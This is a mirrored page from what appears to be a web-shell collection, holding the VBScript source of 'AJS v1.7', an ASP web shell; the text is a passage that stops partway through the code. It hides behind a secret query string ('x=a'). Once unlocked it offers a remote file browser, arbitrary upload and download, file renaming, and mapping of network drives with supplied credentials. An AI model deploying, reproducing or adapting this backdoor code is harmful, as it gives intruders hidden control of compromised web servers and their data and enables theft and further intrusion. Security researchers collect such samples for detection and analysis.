mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
2198 lines
No EOL
133 KiB
Text
2198 lines
No EOL
133 KiB
Text
<%@ LANGUAGE = VBScript.Encode %>
|
|
<%
|
|
option explicit
|
|
on error resume next
|
|
|
|
Session.Timeout=30
|
|
Server.ScriptTimeout = 7200
|
|
session.lcid=2057
|
|
|
|
|
|
'************************* Varible *************************
|
|
Dim FSO, Fullpath, FilePath, FolderPath, folderLocation, js, aspTitle
|
|
Dim mode
|
|
|
|
'''''' Basic Settings '''''
|
|
aspTitle = "AJS v1.7"
|
|
'''''' Basic Settings '''''
|
|
|
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
|
|
FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1)
|
|
FolderPath = Left(Fullpath,InStrRev(Fullpath,"\"))
|
|
folderLocation = Request("location")
|
|
mode = Request("mode")
|
|
|
|
if(folderLocation = "" or folderLocation = "/" or folderLocation = "\") then
|
|
folderLocation = addslash(FolderPath)
|
|
else
|
|
folderLocation = addslash(folderLocation)
|
|
end if
|
|
|
|
If (LCase(Request.ServerVariables("QUERY_STRING"))="x=a") Then
|
|
Session("allow")=1
|
|
Session("myFolderList") = Array("noxxxinfo")
|
|
Session("myFileList") = Array("noxxxinfo")
|
|
Response.CacheControl = "no-cache"
|
|
Response.Status = "301 Moved Permanently"
|
|
Response.Expires = 0
|
|
Response.Expiresabsolute = Now() - 1
|
|
Response.AddHeader "pragma","no-cache"
|
|
Response.AddHeader "cache-control","private"
|
|
Response.AddHeader "Location", FilePath
|
|
Response.End
|
|
End If
|
|
|
|
If (Session("allow") <> 1) Then
|
|
Response.Expires = 0
|
|
Response.Expiresabsolute = Now() - 1
|
|
Response.AddHeader "pragma","no-cache"
|
|
Response.AddHeader "cache-control","private"
|
|
Response.CacheControl = "no-cache"
|
|
Response.End
|
|
End If
|
|
|
|
Session("allow")=1
|
|
'************************* Varible *************************
|
|
|
|
'************************* JSON.asp *************************
|
|
class JSON
|
|
|
|
'private members
|
|
private output, innerCall
|
|
|
|
'public members
|
|
public toResponse ''[bool] should the generated representation be written directly to the response (using <em>Response.Write</em>)? default = false
|
|
public recordsetPaging ''[bool] indicates if only the current page should be processed on paged recordsets.
|
|
''e.g. would return only 10 records if <em>RS.pagesize</em> is set to 10. default = false (means that always all records are processed)
|
|
|
|
public sub class_initialize()
|
|
newGeneration()
|
|
toResponse = false
|
|
recordsetPaging = false
|
|
end sub
|
|
|
|
public function escape(val)
|
|
dim cDoubleQuote, cRevSolidus, cSolidus
|
|
cDoubleQuote = &h22
|
|
cRevSolidus = &h5C
|
|
cSolidus = &h2F
|
|
dim i, currentDigit
|
|
for i = 1 to (len(val))
|
|
currentDigit = mid(val, i, 1)
|
|
if ascw(currentDigit) > &h00 and ascw(currentDigit) < &h1F then
|
|
currentDigit = escapequence(currentDigit)
|
|
elseif ascw(currentDigit) >= &hC280 and ascw(currentDigit) <= &hC2BF then
|
|
currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC200), 2, 0), 2)
|
|
elseif ascw(currentDigit) >= &hC380 and ascw(currentDigit) <= &hC3BF then
|
|
currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC2C0), 2, 0), 2)
|
|
else
|
|
select case ascw(currentDigit)
|
|
case cDoubleQuote: currentDigit = escapequence(currentDigit)
|
|
case cRevSolidus: currentDigit = escapequence(currentDigit)
|
|
case cSolidus: currentDigit = escapequence(currentDigit)
|
|
end select
|
|
end if
|
|
escape = escape & currentDigit
|
|
next
|
|
end function
|
|
|
|
public default function toJSON(name, val, nested)
|
|
if not nested and not isEmpty(name) then write("{")
|
|
if not isEmpty(name) then write("""" & escape(name) & """: ")
|
|
generateValue(val)
|
|
if not nested and not isEmpty(name) then write("}")
|
|
toJSON = output
|
|
|
|
if innerCall = 0 then newGeneration()
|
|
end function
|
|
|
|
'******************************************************************************************************************
|
|
'* generate
|
|
'******************************************************************************************************************
|
|
private function generateValue(val)
|
|
if isNull(val) then
|
|
write("null")
|
|
elseif isArray(val) then
|
|
generateArray(val)
|
|
elseif isObject(val) then
|
|
dim tName : tName = typename(val)
|
|
if val is nothing then
|
|
write("null")
|
|
elseif tName = "Dictionary" or tName = "IRequestDictionary" then
|
|
generateDictionary(val)
|
|
elseif tName = "Recordset" then
|
|
generateRecordset(val)
|
|
elseif tName = "IRequest" then
|
|
set req = server.createObject("scripting.dictionary")
|
|
req.add "clientcertificate", val.ClientCertificate
|
|
req.add "cookies", val.cookies
|
|
req.add "form", val.form
|
|
req.add "querystring", val.queryString
|
|
req.add "servervariables", val.serverVariables
|
|
req.add "totalbytes", val.totalBytes
|
|
generateDictionary(req)
|
|
elseif tName = "IStringList" then
|
|
if val.count = 1 then
|
|
toJSON empty, val(1), true
|
|
else
|
|
generateArray(val)
|
|
end if
|
|
else
|
|
generateObject(val)
|
|
end if
|
|
else
|
|
'bool
|
|
dim varTyp
|
|
varTyp = varType(val)
|
|
if varTyp = 11 then
|
|
if val then write("true") else write("false")
|
|
'int, long, byte
|
|
elseif varTyp = 2 or varTyp = 3 or varTyp = 17 or varTyp = 19 then
|
|
write(cLng(val))
|
|
'single, double, currency
|
|
elseif varTyp = 4 or varTyp = 5 or varTyp = 6 or varTyp = 14 then
|
|
write(replace(cDbl(val), ",", "."))
|
|
else
|
|
write("""" & escape(val & "") & """")
|
|
end if
|
|
end if
|
|
generateValue = output
|
|
end function
|
|
|
|
'******************************************************************************************************************
|
|
'* generateArray
|
|
'******************************************************************************************************************
|
|
private sub generateArray(val)
|
|
dim item, i, stId
|
|
write("[")
|
|
if(val(0) <> "noxxxinfo") then
|
|
stId = 0
|
|
else
|
|
stId = 1
|
|
end if
|
|
'the for each allows us to support also multi dimensional arrays
|
|
for i = stId to UBound(val)
|
|
if i > stId then write(",")
|
|
generateValue(val(i))
|
|
next
|
|
write("]")
|
|
end sub
|
|
|
|
'******************************************************************************************************************
|
|
'* generateDictionary
|
|
'******************************************************************************************************************
|
|
private sub generateDictionary(val)
|
|
innerCall = innerCall + 1
|
|
if val.count = 0 then
|
|
toJSON empty, null, true
|
|
exit sub
|
|
end if
|
|
dim key, i
|
|
write("{")
|
|
i = 0
|
|
for each key in val
|
|
if i > 0 then write(",")
|
|
toJSON key, val(key), true
|
|
i = i + 1
|
|
next
|
|
write("}")
|
|
innerCall = innerCall - 1
|
|
end sub
|
|
|
|
'******************************************************************************************************************
|
|
'* generateRecordset
|
|
'******************************************************************************************************************
|
|
private sub generateRecordset(val)
|
|
dim i, curRow, colValue
|
|
write("[")
|
|
curRow = 0
|
|
'recordset.pagesize = -1 means it is not paged.
|
|
while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
|
|
innerCall = innerCall + 1
|
|
redim colValue(val.fields.count - 1)
|
|
for i = 0 to val.fields.count - 1
|
|
if IsNull(val.fields(i).value) then
|
|
colValue(i) = "NULL"
|
|
elseif (Trim(val.fields(i).value)="") then
|
|
colValue(i) = " "
|
|
else
|
|
colValue(i) = Server.HtmlEncode(val.fields(i).value)
|
|
end if
|
|
next
|
|
generateArray(colValue)
|
|
val.movenext()
|
|
curRow = curRow + 1
|
|
if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
|
|
innerCall = innerCall - 1
|
|
wend
|
|
write("]")
|
|
end sub
|
|
|
|
'******************************************************************************************************************
|
|
'* generateRecordset
|
|
'******************************************************************************************************************
|
|
private sub generateRecordsetX(val)
|
|
dim i, curRow
|
|
write("[")
|
|
curRow = 0
|
|
'recordset.pagesize = -1 means it is not paged.
|
|
while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
|
|
innerCall = innerCall + 1
|
|
write("{")
|
|
for i = 0 to val.fields.count - 1
|
|
if i > 0 then write(",")
|
|
toJSON lCase(val.fields(i).name), val.fields(i).value, true
|
|
next
|
|
write("}")
|
|
val.movenext()
|
|
curRow = curRow + 1
|
|
if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
|
|
innerCall = innerCall - 1
|
|
wend
|
|
write("]")
|
|
end sub
|
|
|
|
'******************************************************************************************************************
|
|
'* generateObject
|
|
'******************************************************************************************************************
|
|
private sub generateObject(val)
|
|
dim props
|
|
on error resume next
|
|
set props = val.reflect()
|
|
if err = 0 then
|
|
on error goto 0
|
|
innerCall = innerCall + 1
|
|
toJSON empty, props, true
|
|
innerCall = innerCall - 1
|
|
else
|
|
on error goto 0
|
|
write("""" & escape(typename(val)) & """")
|
|
end if
|
|
end sub
|
|
|
|
'******************************************************************************************************************
|
|
'* newGeneration
|
|
'******************************************************************************************************************
|
|
private sub newGeneration()
|
|
output = empty
|
|
innerCall = 0
|
|
end sub
|
|
|
|
'******************************************************************************************
|
|
'* JsonEscapeSquence
|
|
'******************************************************************************************
|
|
private function escapequence(digit)
|
|
escapequence = "\u00" + right(padLeft(hex(ascw(digit)), 2, 0), 2)
|
|
end function
|
|
|
|
'******************************************************************************************
|
|
'* padLeft
|
|
'******************************************************************************************
|
|
private function padLeft(value, totalLength, paddingChar)
|
|
padLeft = right(clone(paddingChar, totalLength) & value, totalLength)
|
|
end function
|
|
|
|
'******************************************************************************************
|
|
'* clone
|
|
'******************************************************************************************
|
|
private function clone(byVal str, n)
|
|
dim i
|
|
for i = 1 to n : clone = clone & str : next
|
|
end function
|
|
|
|
'******************************************************************************************
|
|
'* write
|
|
'******************************************************************************************
|
|
private sub write(val)
|
|
if toResponse then
|
|
Response.Write(val)
|
|
else
|
|
output = output & val
|
|
end if
|
|
end sub
|
|
|
|
end class
|
|
'************************* JSON.asp *************************
|
|
|
|
|
|
'************************* Func.asp *************************
|
|
function addslash(path)
|
|
if right(path,1)="\" then addslash=path else addslash=path & "\"
|
|
end function
|
|
|
|
Function FormatSize(intSize)
|
|
If (intSize < 1024) Then
|
|
FormatSize = intSize & " B"
|
|
ElseIf (intSize < 1024*1024) Then
|
|
FormatSize = FormatNumber(intSize/1024,2) & " KB"
|
|
ElseIf (intSize < 1024*1024*1024) Then
|
|
FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
|
|
Else
|
|
FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
|
|
End If
|
|
End Function
|
|
|
|
Function Base64Encode(inData)
|
|
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
|
Dim cOut, sOut, I
|
|
|
|
For I = 1 To Len(inData) Step 3
|
|
Dim nGroup, pOut, sGroup
|
|
|
|
nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
|
|
&H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
|
|
|
|
nGroup = Oct(nGroup)
|
|
|
|
nGroup = String(8 - Len(nGroup), "0") & nGroup
|
|
|
|
pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
|
|
Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
|
|
Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
|
|
Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
|
|
|
|
sOut = sOut + pOut
|
|
|
|
Next
|
|
Select Case Len(inData) Mod 3
|
|
Case 1: '8 bit final
|
|
sOut = Left(sOut, Len(sOut) - 2) + "=="
|
|
Case 2: '16 bit final
|
|
sOut = Left(sOut, Len(sOut) - 1) + "="
|
|
End Select
|
|
Base64Encode = sOut
|
|
End Function
|
|
|
|
Function MyASC(OneChar)
|
|
If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
|
|
End Function
|
|
|
|
|
|
Function Base64Decode(ByVal base64String)
|
|
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
|
Dim dataLength, sOut, groupBegin
|
|
|
|
base64String = Replace(base64String, vbCrLf, "")
|
|
base64String = Replace(base64String, vbTab, "")
|
|
base64String = Replace(base64String, " ", "")
|
|
|
|
dataLength = Len(base64String)
|
|
If dataLength Mod 4 <> 0 Then
|
|
Err.Raise 1, "Base64Decode", "Bad Base64 string."
|
|
Exit Function
|
|
End If
|
|
|
|
|
|
For groupBegin = 1 To dataLength Step 4
|
|
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
|
|
numDataBytes = 3
|
|
nGroup = 0
|
|
|
|
For CharCounter = 0 To 3
|
|
|
|
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
|
|
|
|
If thisChar = "=" Then
|
|
numDataBytes = numDataBytes - 1
|
|
thisData = 0
|
|
Else
|
|
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
|
|
End If
|
|
If thisData = -1 Then
|
|
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
|
|
Exit Function
|
|
End If
|
|
|
|
nGroup = 64 * nGroup + thisData
|
|
Next
|
|
|
|
nGroup = Hex(nGroup)
|
|
|
|
nGroup = String(6 - Len(nGroup), "0") & nGroup
|
|
|
|
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
|
|
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
|
|
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
|
|
|
|
sOut = sOut & Left(pOut, numDataBytes)
|
|
Next
|
|
|
|
Base64Decode = sOut
|
|
End Function
|
|
|
|
|
|
Function Base64ToBSTR(strBase64)
|
|
Dim Byte1, Byte2, Byte3, Byte4
|
|
Dim Data
|
|
Dim iterator
|
|
Const CharMap = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
|
|
|
For iterator = 0 To Len(strBase64) - 1 Step 4
|
|
Byte1 = InStr(CharMap, Mid(strBase64, iterator + 1, 1)) - 1
|
|
Byte2 = InStr(CharMap, Mid(strBase64, iterator + 2, 1)) - 1
|
|
Byte3 = InStr(CharMap, Mid(strBase64, iterator + 3, 1)) - 1
|
|
Byte4 = InStr(CharMap, Mid(strBase64, iterator + 4, 1)) - 1
|
|
|
|
Data = Data & ChrB(Byte1 * 4 + Byte2 \ 16)
|
|
|
|
If Byte3 >= 0 Then
|
|
Data = Data & ChrB((Byte2 And 15) * 16 + Byte3 \ 4)
|
|
Else
|
|
Data = Data & ChrB((iterator * 3 \ 4 + 1) = (Byte2 And 15) * 16)
|
|
End If
|
|
|
|
If Byte4 >= 0 Then
|
|
Data = Data & ChrB((Byte3 And 3) * 64 + Byte4)
|
|
End If
|
|
Next
|
|
Base64ToBSTR = Data
|
|
End Function
|
|
|
|
|
|
|
|
Function ReadBinaryFile(FileName)
|
|
Const adTypeBinary = 1
|
|
Dim BinaryStream
|
|
Set BinaryStream = CreateObject("ADODB.Stream")
|
|
BinaryStream.Type = adTypeBinary
|
|
BinaryStream.Open
|
|
BinaryStream.LoadFromFile FileName
|
|
ReadBinaryFile = BinaryStream.Read
|
|
End Function
|
|
|
|
' -----------------------------------------
|
|
' URL decode to retrieve the original value
|
|
|
|
Function URLDecode(sConvert)
|
|
Dim aSplit
|
|
Dim sOutput
|
|
Dim I
|
|
If IsNull(sConvert) Then
|
|
URLDecode = ""
|
|
Exit Function
|
|
End If
|
|
|
|
' convert all pluses to spaces
|
|
sOutput = REPLACE(sConvert, "+", " ")
|
|
|
|
' next convert %hexdigits to the character
|
|
aSplit = Split(sOutput, "%")
|
|
|
|
If IsArray(aSplit) Then
|
|
sOutput = aSplit(0)
|
|
For I = 0 to UBound(aSplit) - 1
|
|
sOutput = sOutput & _
|
|
Chr("&H" & Left(aSplit(i + 1), 2)) &_
|
|
Right(aSplit(i + 1), Len(aSplit(i + 1)) - 2)
|
|
Next
|
|
End If
|
|
|
|
URLDecode = sOutput
|
|
End Function
|
|
|
|
Private Sub DownloadFile(file)
|
|
'--declare variables
|
|
Dim strAbsFile
|
|
Dim strFileExtension
|
|
Dim objFSO
|
|
Dim objFile
|
|
Dim objStream
|
|
'-- set absolute file location
|
|
strAbsFile = file
|
|
'-- create FSO object to check if file exists and get properties
|
|
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
|
|
'-- check to see if the file exists
|
|
If objFSO.FileExists(strAbsFile) Then
|
|
Set objFile = objFSO.GetFile(strAbsFile)
|
|
'-- first clear the response, and then set the appropriate headers
|
|
Response.Clear
|
|
'-- the filename you give it will be the one that is shown
|
|
' to the users by default when they save
|
|
Response.AddHeader "Content-Disposition", "attachment; filename=" & objFile.Name
|
|
Response.AddHeader "Content-Length", objFile.Size
|
|
Response.ContentType = "application/octet-stream"
|
|
Set objStream = Server.CreateObject("ADODB.Stream")
|
|
objStream.Open
|
|
'-- set as binary
|
|
objStream.Type = 1
|
|
Response.CharSet = "UTF-8"
|
|
'-- load into the stream the file
|
|
objStream.LoadFromFile(strAbsFile)
|
|
'-- send the stream in the response
|
|
Response.BinaryWrite(objStream.Read)
|
|
objStream.Close
|
|
Set objStream = Nothing
|
|
Set objFile = Nothing
|
|
Else 'objFSO.FileExists(strAbsFile)
|
|
Response.Clear
|
|
Response.Write("No such file exists.")
|
|
End If
|
|
Set objFSO = Nothing
|
|
End Sub
|
|
|
|
'************************* Upload *************************
|
|
Class FileUploader
|
|
Public Files
|
|
Public mcolFormElem
|
|
|
|
Private Sub Class_Initialize()
|
|
Set Files = Server.CreateObject("Scripting.Dictionary")
|
|
Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
|
|
End Sub
|
|
|
|
Private Sub Class_Terminate()
|
|
If IsObject(Files) Then
|
|
Files.RemoveAll()
|
|
Set Files = Nothing
|
|
End If
|
|
If IsObject(mcolFormElem) Then
|
|
mcolFormElem.RemoveAll()
|
|
Set mcolFormElem = Nothing
|
|
End If
|
|
End Sub
|
|
|
|
Public Property Get Form(sIndex)
|
|
Form = ""
|
|
If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
|
|
End Property
|
|
|
|
Public Default Sub Upload()
|
|
Dim biData, sInputName
|
|
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
|
|
Dim nPosFile, nPosBound
|
|
|
|
biData = Request.BinaryRead(Request.TotalBytes)
|
|
nPosBegin = 1
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
|
|
|
|
If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
|
|
|
|
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
|
|
nDataBoundPos = InstrB(1, biData, vDataBounds)
|
|
|
|
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
|
|
|
|
nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
|
|
nPos = InstrB(nPos, biData, CByteString("name="))
|
|
nPosBegin = nPos + 6
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
|
|
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
|
|
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
|
|
|
|
If nPosFile <> 0 And nPosFile < nPosBound Then
|
|
Dim oUploadFile, sFileName
|
|
Set oUploadFile = New UploadedFile
|
|
|
|
nPosBegin = nPosFile + 10
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
|
|
sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
|
|
|
|
nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
|
|
nPosBegin = nPos + 14
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
|
|
|
|
oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
|
|
nPosBegin = nPosEnd+4
|
|
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
|
|
oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
|
|
|
|
If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
|
|
Else
|
|
nPos = InstrB(nPos, biData, CByteString(Chr(13)))
|
|
nPosBegin = nPos + 4
|
|
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
|
|
If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
End If
|
|
|
|
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
|
|
Loop
|
|
End Sub
|
|
|
|
Private Function CByteString(sString)
|
|
Dim nIndex
|
|
For nIndex = 1 to Len(sString)
|
|
CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
|
|
Next
|
|
End Function
|
|
|
|
Private Function CWideString(bsString)
|
|
Dim nIndex
|
|
CWideString =""
|
|
For nIndex = 1 to LenB(bsString)
|
|
CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
|
|
Next
|
|
End Function
|
|
End Class
|
|
|
|
Class UploadedFile
|
|
Public ContentType
|
|
Public FileName
|
|
Public FileData
|
|
|
|
Public Property Get FileSize()
|
|
FileSize = LenB(FileData)
|
|
End Property
|
|
|
|
Public Sub SaveToDisk(sPath)
|
|
on error resume next
|
|
Dim oFS, oFile, nIndex
|
|
|
|
If sPath = "" Or FileName = "" Then Exit Sub
|
|
If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
|
|
|
|
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
|
|
If Not oFS.FolderExists(sPath) Then Exit Sub
|
|
|
|
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
|
|
|
|
For nIndex = 1 to LenB(FileData)
|
|
oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
|
|
Next
|
|
|
|
oFile.Close
|
|
End Sub
|
|
|
|
Public Sub SaveToDatabase(ByRef oField)
|
|
If LenB(FileData) = 0 Then Exit Sub
|
|
|
|
If IsObject(oField) Then
|
|
oField.AppendChunk FileData
|
|
End If
|
|
End Sub
|
|
|
|
End Class
|
|
|
|
function Upload(location)
|
|
Dim Uploader, File
|
|
Set Uploader = New FileUploader
|
|
|
|
Uploader.Upload()
|
|
|
|
If Uploader.Files.Count = 0 Then
|
|
Response.Write "<TR><TD class=""kbrtm"">File(s) not uploaded.</TD></TR>"
|
|
Else
|
|
For Each File In Uploader.Files.Items
|
|
File.SaveToDisk Uploader.mcolFormElem.Item("location")
|
|
|
|
if Err.Number<>0 then
|
|
Response.Write "<TR><TD class=""kbrtm"">File Uploaded: " & File.FileName & " : "
|
|
Response.Write "Failed (" & Err.Description & ")</TD></TR>"
|
|
Err.Clear
|
|
else
|
|
Response.Write "<TR><TD class=""kbrtm"">File Uploaded: " & Uploader.mcolFormElem.Item("location") & File.FileName & "<br>"
|
|
Response.Write "Size: " & File.FileSize & " bytes</TD></TR>"
|
|
end if
|
|
|
|
Next
|
|
End If
|
|
|
|
Upload = Uploader.mcolFormElem.Item("linkback")
|
|
end function
|
|
'************************* Upload *************************
|
|
|
|
'************************* Func.asp *************************
|
|
|
|
|
|
'************************* media.asp *************************
|
|
|
|
dim script, img_loading, img_dir, img_lvUp, img_txt, img_img, img_unknow, media_style
|
|
|
|
media_style = ""&_
|
|
"Ym9keXsKCW1hcmdpbjowcHg7Cglmb250LXN0eWxlOm5vcm1hbDsKCWZvbnQtc2l6ZToxMXB4OwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7CgliYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7CglzY3JvbGxiYXItZmFjZS1jb2xvcjogIzMwMzAzMDsKCXNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6" &_
|
|
"ICM1ZDVkNWQ7CglzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyOwoJc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICM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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
|
|
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
|
|
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz"&_
|
|
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM"&_
|
|
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC"&_
|
|
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj"&_
|
|
"yAsokBkQADs="
|
|
|
|
'************************* media.asp *************************
|
|
|
|
|
|
sub ErrHandle(rspText)
|
|
Dim myError
|
|
if Err.Number<>0 then
|
|
set js = new JSON
|
|
|
|
set myError = server.createObject("scripting.dictionary")
|
|
with myError
|
|
.add "error", err.number
|
|
.add "errorDesc", err.Description
|
|
end with
|
|
|
|
Response.Write rspText &" = {"
|
|
Response.Write js.toJSON("error", myError, true)
|
|
Response.Write ","
|
|
Response.Write ajaxInfo()
|
|
Response.Write "};"
|
|
Response.End
|
|
end if
|
|
end sub
|
|
|
|
sub ajaxExplorer()
|
|
on error resume next
|
|
Dim infoList, dirList, fList
|
|
infoList = ajaxInfo()
|
|
dirList = filesfoldersList()
|
|
|
|
Response.Write "lstResponse = {"
|
|
Response.Write infoList
|
|
Response.Write ","
|
|
Response.Write dirList
|
|
Response.Write "};"
|
|
end sub
|
|
|
|
function ajaxInfo()
|
|
on error resume next
|
|
Dim myInfo
|
|
set js = new JSON
|
|
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
with myInfo
|
|
.add "path", folderLocation
|
|
.add "filepath", FilePath
|
|
end with
|
|
|
|
ajaxInfo = js.toJSON("info", myInfo, true)
|
|
end function
|
|
|
|
function ajaxMapDriver()
|
|
on error resume next
|
|
Dim objNetwork, myInfo, driverLetter, remoteShare, userName, password
|
|
|
|
driverLetter = Request("driverLetter")
|
|
remoteShare = Request("remoteShare")
|
|
userName = Request("userName")
|
|
password = Request("password")
|
|
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
Set objNetwork = CreateObject("WScript.Network")
|
|
objNetwork.MapNetworkDrive driverLetter & ":", remoteShare, True, userName, password
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
Err.Clear
|
|
|
|
with myInfo
|
|
.add "action", "mapDriver"
|
|
.add "driverLetter", driverLetter
|
|
.add "remoteShare", remoteShare
|
|
.add "msgResponse", "Mapped " & driverLetter & ": to " & remoteShare & " !"
|
|
end with
|
|
|
|
ajaxMapDriver = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxRemoveDriver()
|
|
on error resume next
|
|
Dim objNetwork, myInfo, driverLetter
|
|
|
|
driverLetter = Request("driverLetter")
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
Set objNetwork = CreateObject("WScript.Network")
|
|
objNetwork.RemoveNetworkDrive driverLetter & ":"
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
Err.Clear
|
|
|
|
with myInfo
|
|
.add "action", "removeDriver"
|
|
.add "driverLetter", driverLetter
|
|
.add "msgResponse", "Driver " & driverLetter & ": removed !"
|
|
end with
|
|
|
|
ajaxRemoveDriver = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxRenameFile()
|
|
on error resume next
|
|
Dim fileObject, myInfo, fileName, fileId, newName
|
|
|
|
fileName = Request("fileName")
|
|
fileId = Request("fileId")
|
|
newName = Request("newName")
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
Set fileObject = fso.GetFile(folderLocation & fileName)
|
|
fileObject.Name = newName
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", "Unable to rename """ & fileName & """ !" & vbCrLF & Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
Err.Clear
|
|
|
|
with myInfo
|
|
.add "fileId", fileId
|
|
.add "newName", newName
|
|
.add "action", "renameFile"
|
|
.add "fileName", fileName
|
|
.add "msgResponse", "Renamed """ & fileName & """ to """ & """" & newName & """ !"
|
|
end with
|
|
|
|
ajaxRenameFile = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxRenameFolder()
|
|
on error resume next
|
|
Dim fileObject, myInfo, folderName, folderId, newName
|
|
|
|
folderName = Request("folderName")
|
|
folderId = Request("folderId")
|
|
newName = Request("newName")
|
|
|
|
set js = new JSON
|
|
